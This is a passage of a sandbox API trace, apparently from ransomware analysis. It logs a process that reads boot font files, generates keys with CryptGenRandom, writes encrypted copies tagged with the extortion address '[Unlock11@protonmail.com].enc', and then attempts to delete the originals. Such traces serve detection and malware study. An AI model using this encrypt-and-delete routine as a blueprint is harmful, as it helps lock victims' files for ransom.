"c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0 [0117.123] GetLastError () returned 0x5 [0117.123] GetCurrentThreadId () returned 0x9b0 [0117.124] GetLastError () returned 0x5 [0117.124] GetLastError () returned 0x5 [0117.124] GetLastError () returned 0x5 [0117.124] GetLastError () returned 0x5 [0117.124] LocalFree (hMem=0x1053cb0) returned 0x0 [0117.124] GetLastError () returned 0x5 [0117.124] GetLastError () returned 0x5 [0117.124] GetLastError () returned 0x5 [0117.124] GetLastError () returned 0x5 [0117.124] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\msjhn_boot.ttf", lpFilePart=0x9bada4*="msjhn_boot.ttf") returned 0x1c [0117.125] GetCurrentThreadId () returned 0x9b0 [0117.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.125] GetLastError () returned 0x0 [0117.126] GetLastError () returned 0x0 [0117.126] GetLastError () returned 0x0 [0117.126] GetLastError () returned 0x0 [0117.126] GetCurrentThreadId () returned 0x9b0 [0117.126] GetLastError () returned 0x0 [0117.126] GetCurrentThreadId () returned 0x9b0 [0117.126] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.126] GetLastError () returned 0x0 [0117.126] GetLastError () returned 0x0 [0117.126] GetLastError () returned 0x0 [0117.127] GetLastError () returned 0x0 [0117.127] GetCurrentThreadId () returned 0x9b0 [0117.127] GetLastError () returned 0x0 [0117.127] GetLastError () returned 0x0 [0117.127] GetLastError () returned 0x0 [0117.127] GetLastError () returned 0x0 [0117.127] GetLastError () returned 0x0 [0117.127] GetCurrentThreadId () returned 0x9b0 [0117.127] GetLastError () returned 0x0 [0117.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.127] GetLastError () returned 0x0 [0117.128] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0117.128] GetLastError () returned 0x0 [0117.128] GetLastError () returned 0x0 [0117.128] GetLastError () returned 0x0 [0117.128] GetCurrentThreadId () returned 0x9b0 [0117.128] GetLastError () returned 0x0 [0117.128] GetCurrentThreadId () returned 0x9b0 [0117.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0117.128] GetLastError () returned 0x0 [0117.128] GetLastError () returned 0x0 [0117.128] GetLastError () returned 0x0 [0117.128] GetLastError () returned 0x0 [0117.129] GetCurrentThreadId () returned 0x9b0 [0117.129] GetLastError () returned 0x0 [0117.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0117.129] GetLastError () returned 0x0 [0117.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0117.129] GetLastError () returned 0x0 [0117.129] GetLastError () returned 0x0 [0117.129] GetLastError () returned 0x0 [0117.129] GetCurrentThreadId () returned 0x9b0 [0117.129] GetLastError () returned 0x0 [0117.129] GetLastError () returned 0x0 [0117.130] GetLastError () returned 0x0 [0117.130] GetLastError () returned 0x0 [0117.130] GetLastError () returned 0x0 [0117.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.130] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b)) returned 1 [0117.130] GetLastError () returned 0x0 [0117.130] GetCurrentThreadId () returned 0x9b0 [0117.130] GetLastError () returned 0x0 [0117.130] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.130] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0117.131] GetCurrentThreadId () returned 0x9b0 [0117.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0117.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0117.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.131] GetLastError () returned 0x0 [0117.131] GetLastError () returned 0x0 [0117.131] GetLastError () returned 0x0 [0117.131] GetLastError () returned 0x0 [0117.131] GetCurrentThreadId () returned 0x9b0 [0117.131] GetLastError () returned 0x0 [0117.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.132] GetCurrentThreadId () returned 0x9b0 [0117.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.132] GetLastError () returned 0x0 [0117.132] GetLastError () returned 0x0 [0117.132] GetLastError () returned 0x0 [0117.132] GetLastError () returned 0x0 [0117.132] GetCurrentThreadId () returned 0x9b0 [0117.132] GetLastError () returned 0x0 [0117.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a68 [0117.133] GetCurrentThreadId () returned 0x9b0 [0117.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.133] GetLastError () returned 0x0 [0117.133] GetLastError () returned 0x0 [0117.133] GetLastError () returned 0x0 [0117.133] GetLastError () returned 0x0 [0117.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0117.133] GetLastError () returned 0x0 [0117.133] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.133] GetFileType (hFile=0x39c) returned 0x1 [0117.134] GetLastError () returned 0x0 [0117.134] GetCurrentThreadId () returned 0x9b0 [0117.134] GetLastError () returned 0x0 [0117.134] GetFileType (hFile=0x39c) returned 0x1 [0117.134] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.134] GetLastError () returned 0x0 [0117.135] GetCurrentThreadId () returned 0x9b0 [0117.135] GetLastError () returned 0x0 [0117.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0117.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.135] GetLastError () returned 0x0 [0117.135] GetLastError () returned 0x0 [0117.135] GetLastError () returned 0x0 [0117.135] GetLastError () returned 0x0 [0117.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0117.135] GetLastError () returned 0x0 [0117.135] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.136] GetFileType (hFile=0x3ac) returned 0x1 [0117.136] GetLastError () returned 0x0 [0117.136] GetCurrentThreadId () returned 0x9b0 [0117.136] GetLastError () returned 0x0 [0117.136] GetFileType (hFile=0x3ac) returned 0x1 [0117.136] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.137] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.137] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.137] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.137] GetLastError () returned 0x0 [0117.137] GetCurrentThreadId () returned 0x9b0 [0117.137] GetLastError () returned 0x0 [0117.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0117.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0117.137] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0117.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0117.137] GetLastError () returned 0x0 [0117.137] GetLastError () returned 0x0 [0117.138] GetCurrentThreadId () returned 0x9b0 [0117.138] GetLastError () returned 0x0 [0117.138] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.138] GetLastError () returned 0x0 [0117.138] GetLastError () returned 0x0 [0117.138] GetCurrentThreadId () returned 0x9b0 [0117.138] GetLastError () returned 0x0 [0117.138] GetLastError () returned 0x0 [0117.141] GetLastError () returned 0x0 [0117.142] GetCurrentThreadId () returned 0x9b0 [0117.142] GetLastError () returned 0x0 [0117.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.142] GetLastError () returned 0x0 [0117.142] GetLastError () returned 0x0 [0117.142] GetLastError () returned 0x0 [0117.143] GetLastError () returned 0x0 [0117.143] GetCurrentThreadId () returned 0x9b0 [0117.143] GetLastError () returned 0x0 [0117.143] GetCurrentThreadId () returned 0x9b0 [0117.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0117.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0117.143] GetLastError () returned 0x0 [0117.145] GetLastError () returned 0x0 [0117.145] GetCurrentThreadId () returned 0x9b0 [0117.145] GetLastError () returned 0x0 [0117.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.145] GetLastError () returned 0x0 [0117.146] GetLastError () returned 0x0 [0117.146] GetCurrentThreadId () returned 0x9b0 [0117.146] GetLastError () returned 0x0 [0117.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0117.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0117.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.147] GetLastError () returned 0x0 [0117.147] GetLastError () returned 0x0 [0117.147] GetLastError () returned 0x0 [0117.147] GetLastError () returned 0x0 [0117.147] GetCurrentThreadId () returned 0x9b0 [0117.147] GetLastError () returned 0x0 [0117.147] GetCurrentThreadId () returned 0x9b0 [0117.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0117.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0117.148] GetLastError () returned 0x0 [0117.149] GetLastError () returned 0x0 [0117.149] GetCurrentThreadId () returned 0x9b0 [0117.149] GetLastError () returned 0x0 [0117.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.149] GetLastError () returned 0x0 [0117.149] GetLastError () returned 0x0 [0117.150] GetCurrentThreadId () returned 0x9b0 [0117.150] GetLastError () returned 0x0 [0117.150] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x7a30) returned 0x35c5908 [0117.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.150] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x7a35) returned 0x35c5908 [0117.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0117.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x7a38) returned 0x35cd348 [0117.150] GetLastError () returned 0x0 [0117.150] GetLastError () returned 0x0 [0117.150] GetLastError () returned 0x0 [0117.150] GetLastError () returned 0x0 [0117.151] GetCurrentThreadId () returned 0x9b0 [0117.151] GetLastError () returned 0x0 [0117.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cd348 | out: hHeap=0x2ad0000) returned 1 [0117.151] GetCurrentThreadId () returned 0x9b0 [0117.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0117.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.151] GetLastError () returned 0x0 [0117.152] GetLastError () returned 0x0 [0117.152] GetCurrentThreadId () returned 0x9b0 [0117.152] GetLastError () returned 0x0 [0117.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.152] GetLastError () returned 0x0 [0117.152] GetLastError () returned 0x0 [0117.152] GetCurrentThreadId () returned 0x9b0 [0117.152] GetLastError () returned 0x0 [0117.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.153] GetLastError () returned 0x0 [0117.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0117.153] CloseHandle (hObject=0x3ac) returned 1 [0117.153] GetLastError () returned 0x0 [0117.153] GetCurrentThreadId () returned 0x9b0 [0117.153] GetLastError () returned 0x0 [0117.153] GetLastError () returned 0x0 [0117.153] CloseHandle (hObject=0x39c) returned 1 [0117.154] GetLastError () returned 0x0 [0117.154] GetCurrentThreadId () returned 0x9b0 [0117.154] GetLastError () returned 0x0 [0117.154] GetLastError () returned 0x0 [0117.154] GetLastError () returned 0x0 [0117.154] GetLastError () returned 0x0 [0117.154] GetLastError () returned 0x0 [0117.154] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0 [0117.154] GetLastError () returned 0x5 [0117.155] GetCurrentThreadId () returned 0x9b0 [0117.155] GetLastError () returned 0x5 [0117.155] GetLastError () returned 0x5 [0117.155] GetLastError () returned 0x5 [0117.155] GetLastError () returned 0x5 [0117.155] LocalFree (hMem=0x1053a70) returned 0x0 [0117.155] GetLastError () returned 0x5 [0117.155] GetLastError () returned 0x5 [0117.155] GetLastError () returned 0x5 [0117.155] GetLastError () returned 0x5 [0117.155] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\msjh_boot.ttf", lpFilePart=0x9bada4*="msjh_boot.ttf") returned 0x1b [0117.156] GetCurrentThreadId () returned 0x9b0 [0117.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0117.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.156] GetLastError () returned 0x0 [0117.156] GetLastError () returned 0x0 [0117.156] GetLastError () returned 0x0 [0117.157] GetLastError () returned 0x0 [0117.157] GetCurrentThreadId () returned 0x9b0 [0117.157] GetLastError () returned 0x0 [0117.157] GetCurrentThreadId () returned 0x9b0 [0117.157] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.157] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.157] GetLastError () returned 0x0 [0117.157] GetLastError () returned 0x0 [0117.157] GetLastError () returned 0x0 [0117.157] GetLastError () returned 0x0 [0117.157] GetCurrentThreadId () returned 0x9b0 [0117.157] GetLastError () returned 0x0 [0117.158] GetLastError () returned 0x0 [0117.158] GetLastError () returned 0x0 [0117.158] GetLastError () returned 0x0 [0117.158] GetLastError () returned 0x0 [0117.158] GetCurrentThreadId () returned 0x9b0 [0117.158] GetLastError () returned 0x0 [0117.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.158] GetLastError () returned 0x0 [0117.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0117.158] GetLastError () returned 0x0 [0117.158] GetLastError () returned 0x0 [0117.159] GetLastError () returned 0x0 [0117.159] GetCurrentThreadId () returned 0x9b0 [0117.159] GetLastError () returned 0x0 [0117.159] GetCurrentThreadId () returned 0x9b0 [0117.159] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a768 [0117.159] GetLastError () returned 0x0 [0117.159] GetLastError () returned 0x0 [0117.159] GetLastError () returned 0x0 [0117.159] GetLastError () returned 0x0 [0117.159] GetCurrentThreadId () returned 0x9b0 [0117.159] GetLastError () returned 0x0 [0117.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0117.160] GetLastError () returned 0x0 [0117.160] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0117.160] GetLastError () returned 0x0 [0117.160] GetLastError () returned 0x0 [0117.160] GetLastError () returned 0x0 [0117.160] GetCurrentThreadId () returned 0x9b0 [0117.160] GetLastError () returned 0x0 [0117.160] GetLastError () returned 0x0 [0117.160] GetLastError () returned 0x0 [0117.160] GetLastError () returned 0x0 [0117.161] GetLastError () returned 0x0 [0117.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.161] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb)) returned 1 [0117.161] GetLastError () returned 0x0 [0117.161] GetCurrentThreadId () returned 0x9b0 [0117.161] GetLastError () returned 0x0 [0117.161] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.161] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668804 | out: pbBuffer=0x3668804) returned 1 [0117.161] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0117.161] GetCurrentThreadId () returned 0x9b0 [0117.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0117.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.162] GetLastError () returned 0x0 [0117.162] GetLastError () returned 0x0 [0117.162] GetLastError () returned 0x0 [0117.162] GetLastError () returned 0x0 [0117.162] GetCurrentThreadId () returned 0x9b0 [0117.162] GetLastError () returned 0x0 [0117.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.162] GetCurrentThreadId () returned 0x9b0 [0117.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.163] GetLastError () returned 0x0 [0117.163] GetLastError () returned 0x0 [0117.163] GetLastError () returned 0x0 [0117.163] GetLastError () returned 0x0 [0117.163] GetCurrentThreadId () returned 0x9b0 [0117.163] GetLastError () returned 0x0 [0117.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.163] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a68 [0117.163] GetCurrentThreadId () returned 0x9b0 [0117.163] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.164] GetLastError () returned 0x0 [0117.164] GetLastError () returned 0x0 [0117.164] GetLastError () returned 0x0 [0117.164] GetLastError () returned 0x0 [0117.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0117.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ac8 [0117.164] GetLastError () returned 0x0 [0117.164] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.164] GetFileType (hFile=0x39c) returned 0x1 [0117.164] GetLastError () returned 0x0 [0117.165] GetCurrentThreadId () returned 0x9b0 [0117.165] GetLastError () returned 0x0 [0117.165] GetFileType (hFile=0x39c) returned 0x1 [0117.165] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.165] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.165] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.165] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.165] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.165] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.165] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.165] GetLastError () returned 0x0 [0117.165] GetCurrentThreadId () returned 0x9b0 [0117.165] GetLastError () returned 0x0 [0117.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0117.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.166] GetLastError () returned 0x0 [0117.166] GetLastError () returned 0x0 [0117.166] GetLastError () returned 0x0 [0117.166] GetLastError () returned 0x0 [0117.166] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.166] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 